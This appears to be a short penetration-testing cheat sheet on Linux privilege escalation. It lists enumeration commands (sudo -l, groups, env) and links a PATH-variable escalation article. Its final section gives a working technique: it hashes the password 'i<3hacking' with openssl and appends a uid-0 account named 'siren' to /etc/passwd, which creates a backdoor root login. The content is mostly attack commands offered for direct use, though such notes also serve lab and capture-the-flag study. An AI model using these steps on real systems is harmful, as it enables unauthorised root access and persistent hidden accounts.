Users

Are we a real user?
sudo -l
ls -lsaht /etc/sudoers

-------------------------------------------------------------------------------------------------------------------------------

Are any users a member of exotic groups?
groups <user>

-------------------------------------------------------------------------------------------------------------------------------

Check out your shell's environment variables
env

https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/


------------------------------------------------

Can we write as a low-privileged user to /etc/passwd?
openssl passwd -1
i<3hacking
$1$/UTMXpPC$Wrv6PM4eRHhB1/m1P.t9l.
echo 'siren:$1$/UTMXpPC$Wrv6PM4eRHhB1/m1P.t9l.:0:0:siren:/home/siren:/bin/bash' >> /etc/passwd
su siren
id

-------------------------------------------------------------------------------------------------------------------------------

Last updated